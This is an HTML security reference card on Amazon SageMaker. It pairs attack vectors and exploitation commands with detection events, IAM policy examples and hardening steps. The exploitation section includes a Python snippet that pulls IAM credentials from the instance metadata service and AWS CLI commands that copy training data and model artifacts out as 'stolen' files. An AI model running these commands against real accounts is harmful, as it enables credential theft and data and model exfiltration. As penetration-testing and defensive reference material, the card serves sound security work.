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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS SageMaker Security | AWS Security Cards</title>
<meta name="description" content="Amazon SageMaker is a fully managed machine learning platform. Attackers target notebooks for code execution, training jobs for data exfiltration, models for IP theft, and endpoints for inference manipulation.">
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</style>
</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/sagemaker-card.webp" alt="AWS SageMaker Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/sagemaker.svg" alt="AWS SageMaker Security" /></div>
<div>
<div>
<span class="header-title">AWS SageMaker Security</span>
<span class="header-badge">ML PLATFORM</span>
</div>
<p class="header-desc">Amazon SageMaker is a fully managed machine learning platform. Attackers target notebooks for code execution, training jobs for data exfiltration, models for IP theft, and endpoints for inference manipulation.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">HIGH</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">Notebooks</div>
<div class="stat-label">Code Execution</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">Training</div>
<div class="stat-label">Data Access</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">Endpoints</div>
<div class="stat-label">Inference</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #06b6d4;">Notebook Instances</h4>
<p>Managed Jupyter notebook environments for data exploration and model development. Run on EC2 instances with IAM roles for AWS service access.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Full code execution with IAM role credentials accessible via IMDS</div>
</div>
<div>
<h4 style="color: #06b6d4;">Training Jobs</h4>
<p>Managed compute for model training. Access training data from S3, output models to S3. Can use custom containers or built-in algorithms.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Training data often contains sensitive information, credentials in environment</div>
</div>
<div>
<h4 style="color: #06b6d4;">Model Endpoints</h4>
<p>Real-time inference endpoints hosting trained models. Can be invoked directly or behind API Gateway. Auto-scaling based on traffic.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Model inference can leak training data through carefully crafted inputs</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 85%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">8.5</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">SageMaker presents high risk due to code execution capabilities in notebooks, access to sensitive training data, valuable model intellectual property, and often overly permissive IAM roles for data scientist productivity.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Notebook Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Execute arbitrary code in notebooks</li><li><span class="bullet" style="color: #f87171;">•</span> Access IMDS for IAM credentials</li><li><span class="bullet" style="color: #f87171;">•</span> Install backdoors and reverse shells</li><li><span class="bullet" style="color: #f87171;">•</span> Exfiltrate data through notebook outputs</li><li><span class="bullet" style="color: #f87171;">•</span> Access connected S3 buckets and secrets</li></ul><h4 style="color: #f87171;">Model & Data Theft</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Download trained models from S3</li><li><span class="bullet" style="color: #f87171;">•</span> Access training datasets</li><li><span class="bullet" style="color: #f87171;">•</span> Extract model through inference API</li><li><span class="bullet" style="color: #f87171;">•</span> Steal feature engineering code</li><li><span class="bullet" style="color: #f87171;">•</span> Clone model artifacts and weights</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Notebook Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Internet access enabled (direct mode)</li><li><span class="bullet" style="color: #fb923c;">•</span> Root access enabled on notebooks</li><li><span class="bullet" style="color: #fb923c;">•</span> Execution role with admin permissions</li><li><span class="bullet" style="color: #fb923c;">•</span> Unencrypted EBS storage volumes</li><li><span class="bullet" style="color: #fb923c;">•</span> Public presigned URLs for notebooks</li></ul><h4 style="color: #fb923c;">Training & Endpoint Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Training data in unencrypted S3</li><li><span class="bullet" style="color: #fb923c;">•</span> Model artifacts publicly accessible</li><li><span class="bullet" style="color: #fb923c;">•</span> Endpoints without authentication</li><li><span class="bullet" style="color: #fb923c;">•</span> VPC not configured for isolation</li><li><span class="bullet" style="color: #fb923c;">•</span> Secrets in hyperparameters/env vars</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List Notebook Instances</div>
<pre><code>aws sagemaker list-notebook-instances</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Describe Notebook Instance</div>
<pre><code>aws sagemaker describe-notebook-instance \\
--notebook-instance-name my-notebook</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Training Jobs</div>
<pre><code>aws sagemaker list-training-jobs --status-equals Completed</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Models</div>
<pre><code>aws sagemaker list-models</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Endpoints</div>
<pre><code>aws sagemaker list-endpoints</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📓 Notebook Exploitation</h3><h4 style="color: #c084fc;">Code Execution</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Create presigned URL to access notebook</li><li><span class="bullet" style="color: #c084fc;">•</span> Execute Python/shell in notebook cells</li><li><span class="bullet" style="color: #c084fc;">•</span> Access IAM credentials via IMDS</li><li><span class="bullet" style="color: #c084fc;">•</span> Pivot to other AWS services</li><li><span class="bullet" style="color: #c084fc;">•</span> Install persistence via startup scripts</li></ul><h4 style="color: #c084fc;">Privilege Escalation</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Abuse notebook execution role</li><li><span class="bullet" style="color: #c084fc;">•</span> Access S3 training data buckets</li><li><span class="bullet" style="color: #c084fc;">•</span> Read Secrets Manager secrets</li><li><span class="bullet" style="color: #c084fc;">•</span> Call other AWS APIs with role</li><li><span class="bullet" style="color: #c084fc;">•</span> Modify lifecycle configurations</li></ul><div class="note"><strong>Critical:</strong> Notebook instances often have overly permissive roles for data scientist productivity - check role policies!</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🎯 Model & Inference Attacks</h3><h4 style="color: #facc15;">Model Theft</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Download model artifacts from S3</li><li><span class="bullet" style="color: #facc15;">•</span> Extract model via inference queries</li><li><span class="bullet" style="color: #facc15;">•</span> Steal hyperparameters from training jobs</li><li><span class="bullet" style="color: #facc15;">•</span> Clone endpoint configurations</li><li><span class="bullet" style="color: #facc15;">•</span> Access model registry versions</li></ul><h4 style="color: #facc15;">Inference Attacks</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Model inversion - extract training data</li><li><span class="bullet" style="color: #facc15;">•</span> Adversarial inputs for misclassification</li><li><span class="bullet" style="color: #facc15;">•</span> Prompt injection for LLM endpoints</li><li><span class="bullet" style="color: #facc15;">•</span> Denial of service via resource exhaustion</li><li><span class="bullet" style="color: #facc15;">•</span> Data poisoning through feedback loops</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> CreatePresignedNotebookInstanceUrl</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateNotebookInstance</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateTrainingJob</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateModel</li><li><span class="bullet" style="color: #4ade80;">•</span> InvokeEndpoint (data events)</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Presigned URLs created by unknown users</li><li><span class="bullet" style="color: #4ade80;">•</span> Unusual notebook access patterns</li><li><span class="bullet" style="color: #4ade80;">•</span> Large data transfers from training jobs</li><li><span class="bullet" style="color: #4ade80;">•</span> Model downloads to unknown locations</li><li><span class="bullet" style="color: #4ade80;">•</span> Endpoint invocations from suspicious IPs</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Create Presigned Notebook URL</div>
<pre><code>aws sagemaker create-presigned-notebook-instance-url \\
--notebook-instance-name target-notebook
# Returns URL valid for 5 minutes - opens Jupyter directly</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Access Credentials in Notebook</div>
<pre><code># Inside SageMaker notebook
import requests
r = requests.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
role = r.text
creds = requests.get(f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}').json()
print(creds['AccessKeyId'], creds['SecretAccessKey'], creds['Token'])</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Download Training Data</div>
<pre><code># Find training job's data location
aws sagemaker describe-training-job \\
--training-job-name job-name \\
--query 'InputDataConfig[*].DataSource.S3DataSource.S3Uri'
# Download the data
aws s3 cp s3://training-data-bucket/dataset/ ./stolen-data/ --recursive</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Steal Model Artifacts</div>
<pre><code># Get model artifact location
aws sagemaker describe-model \\
--model-name production-model \\
--query 'PrimaryContainer.ModelDataUrl'
# Download model
aws s3 cp s3://model-bucket/model.tar.gz ./stolen-model.tar.gz</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Invoke Endpoint for Data Extraction</div>
<pre><code>aws sagemaker-runtime invoke-endpoint \\
--endpoint-name production-endpoint \\
--content-type application/json \\
--body '{"input": "extract training examples similar to: [probe]"}' \\
output.json</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List and Access Feature Store</div>
<pre><code># List feature groups
aws sagemaker list-feature-groups
# Describe feature group for data location
aws sagemaker describe-feature-group \\
--feature-group-name customer-features \\
--query 'OfflineStoreConfig.S3StorageConfig.S3Uri'</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Full SageMaker Access</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"sagemaker:*",
"s3:*"
],
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Full access enables model theft, data exfiltration, and resource manipulation</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Scoped Notebook Access</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"sagemaker:CreatePresignedNotebookInstanceUrl",
"sagemaker:DescribeNotebookInstance"
],
"Resource": "arn:aws:sagemaker:us-east-1:123456789012:notebook-instance/my-notebook",
"Condition": {
"IpAddress": {"aws:SourceIp": "10.0.0.0/8"}
}
}]
}</code></pre>
<p class="policy-desc">Access limited to specific notebook with IP restriction</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Overpermissive Execution Role</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"s3:*",
"secretsmanager:GetSecretValue",
"kms:Decrypt"
],
"Resource": "*"
}]
}</code></pre>
<p class="policy-desc">Execution role with wildcard S3 and secrets access - common but dangerous</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Least Privilege Execution Role</span>
</div>
<pre><code>{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": [
"arn:aws:s3:::sagemaker-data-bucket/training/*",
"arn:aws:s3:::sagemaker-data-bucket/models/*"
]
}]
}</code></pre>
<p class="policy-desc">Execution role restricted to specific data paths needed for training</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Enable VPC Mode</h4>
<p>Configure notebooks and training jobs to run in VPC without direct internet access.</p>
<pre><code>aws sagemaker create-notebook-instance \\
--notebook-instance-name secure-notebook \\
--direct-internet-access Disabled \\
--subnet-id subnet-xxx \\
--security-group-ids sg-xxx</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🚫</span>
<div>
<h4>Disable Root Access</h4>
<p>Disable root access on notebook instances to limit privilege escalation.</p>
<pre><code>aws sagemaker create-notebook-instance \\
--root-access Disabled</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Encrypt All Storage</h4>
<p>Enable KMS encryption for notebook volumes, training data, and model artifacts.</p>
<pre><code>aws sagemaker create-notebook-instance \\
--kms-key-id alias/sagemaker-key</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📝</span>
<div>
<h4>Scope Execution Roles</h4>
<p>Apply least privilege to notebook and training job execution roles.</p>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔑</span>
<div>
<h4>Use VPC Endpoints</h4>
<p>Create VPC endpoints for SageMaker APIs to avoid public internet exposure.</p>
<pre><code>aws ec2 create-vpc-endpoint \\
--vpc-id vpc-xxx \\
--service-name com.amazonaws.us-east-1.sagemaker.api</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📊</span>
<div>
<h4>Monitor Presigned URLs</h4>
<p>Alert on CreatePresignedNotebookInstanceUrl calls from unexpected principals.</p>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS SageMaker Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>